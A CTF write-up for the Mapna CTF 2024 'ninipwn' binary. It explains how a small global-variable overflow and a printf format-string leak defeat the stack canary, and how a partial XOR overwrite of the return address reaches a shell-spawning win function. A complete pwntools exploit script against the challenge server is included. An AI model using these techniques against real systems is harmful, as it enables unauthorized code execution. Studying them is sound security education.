Post

ninipwn

Overcoming stack canaries with printf

ninipwn

Description

This challenge is from Mapna CTF 2024.

pwn ^ pwn ^ pwn ^ pwn ^ pwn ^ pwn
Attachment

1
nc 3.75.185.198 7000

Writeup

To start this challenge, I first ran the checksec command on the provided binary file:

decomp

All protections were enabled, so I knew I would have to find a way around at least one of them to solve the challenge. Next, I loaded the binary into Ghidra. The main function simply prints out “XOR encryption service”, then calls the encryption_service function. After looking through the code to get a sense of what it was doing, I cleaned up the code by renaming some variables so that it looked like this:

encryption_service

encryption_service

encrypt

encrypt

Beyond this, there were a few other details of interest. The flag was not contained anywhere in the binary, meaning it would require gaining a shell on the remote system to instead find the flag on the filesystem. To further support this idea, there was a win function containing code to spawn a shell when called. My goal was to find a way to jump to this win function.

Here’s what the program does: first, it asks the user to input the text_length, which must be between 0 and 256. Next, it asks for the key and prints the key back out to the user. Then, it asks for up to text_length bytes of text to store in a buffer on the stack. Finally, the program then takes the key provided and “encrypts” the buffer via the encrypt function. This XORs the text with the key by repeating the key every 8 bytes.

There are two critical places where the vulnerabilities lie. First, key and text_length are global variables, meaning they are not stored on the stack but rather in the .bss section of the binary. When the program accepts input to be used as the key, it accepts 10 bytes, which is 2 bytes greater than the allocated space for key. Since the item next to key is text_length, this causes a 2-byte overflow into text_length, allowing us to control the two upper-most, or least-significant bytes of text_length. Since the program asks for key after it asks for text_length, we can use this to bypass the check for text_length and write values of up to 0xffff (decimal 65535), meaning we can perform a buffer overflow.

However, by itself, this vulnerability is not enough to gain a shell. While it does allow us to use a buffer overflow to overwrite the value of the saved %rip, it doesn’t provide us with a way to overcome the stack canary. This is where the second vulnerability comes in. In line 21 of encryption_service, printf is called with user-controlled input as its only argument. The correct way to write this statement would have been printf("%s", (char *)&key)- notice the omission of the "%s". This oversight allows us to perform what is known as a format string attack. Without the "%s", the C programming language treats the value of key as the format string. In normal operation, this will still produce the intended output, but as an attacker, we can pass in format specifiers like "%p" as the value of key to leak data from the stack. So what exactly would passing "%p" print? It does exactly what it normally does, which is print the second argument to printf as a pointer, or in other words, %rdi (the x86 register for the second argument). By extension, we can add more %ps to leak other “arguments”, and at the 6th %p, start to leak from the top of the stack (since x86 assembly stores arguments beyond the 6th on the stack). The C notation for this would be "%6$p". However, we don’t just want the top value of the stack- we want the stack canary. To calculate the offset of the stack canary from the top of the stack as defined at the printf, I set a breakpoint in GDB after the printf statement and ran info frame to find where the canary was stored in the current frame. Then, I calculated the difference between %rsp and the location of the canary and divided it by 8 to get the number of “pointers” I needed to offset by. The result was 33, so my format string needed to be "%39$p" (33 + 6 to start at the top of the stack). Testing this in GDB confirmed that the program did indeed leak the correct value.

canary

Now that I had the information I needed, all that remained was to craft the actual exploit. Since the goal was to gain a shell using the provided win function, I needed to overwrite the value of the stored %rip with the address of the win function. However, with PIE turned on, that address would be randomized each time the program was ran, which would require another leak to know in its entirety, except for the last 3 hex characters (12 bits). Instead, to avoid having to know the full address, I decided to perform a partial overwrite, which would utilize the existing stored address. The address of the win function and the address of main which encryption_service would normally return to, offset 0x00101433 and 0x001014f8 respectively, were close enough that they only differed by their last byte, even with PIE turned on. This meant I could perform an overwrite of only the least-significant/upper-most byte. Since the “overwrite” was actually an XOR function, this meant making the first byte of the key the value needed to XOR with 0xf8 to result in 0x33, which is 0xcb.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import time


binary = "./ninipwn"
elf = context.binary = ELF(binary, checksec=False)

# break *(encryption_service+0x165)
gs = """
break *(encryption_service+0x11a)
continue
"""

# `python3 solve.py REMOTE`
if args.REMOTE:
    p = remote("3.75.185.198", 7000)

# `python3 solve.py GDB`
elif args.GDB:
    context.terminal = ["tmux", "splitw", "-h", "-l", "120"]
    p = gdb.debug(binary, gdbscript=gs)

# `python3 solve.py`
else:
    p = elf.process()

# overwrite buffer + canary + saved rbp + least-significant byte of saved rip
overwrite = 264 + 8 + 8 + 1
key = (b'\xcb' + b'%39$p').ljust(8, b'\x00')

# can overflow KEY by 2 bytes to control this value up to 0xffff
p.sendlineafter(b'Text length: ', b'255')

p.sendafter(b'Key: ', key + overwrite.to_bytes(2, 'little'))

p.recvuntil(b'Key selected: \xcb')
canary = int(p.recvline(keepends=False), 16)
# print("RECEIVED CANARY:", hex(canary))

p.sendafter(b"Text: ", b'\x00'*(264) + p64(canary ^ u64(key)))
p.recvuntil(b'Encrypted output: ')
p.recv()

p.interactive()

solve

This post is licensed under CC BY 4.0 by the author.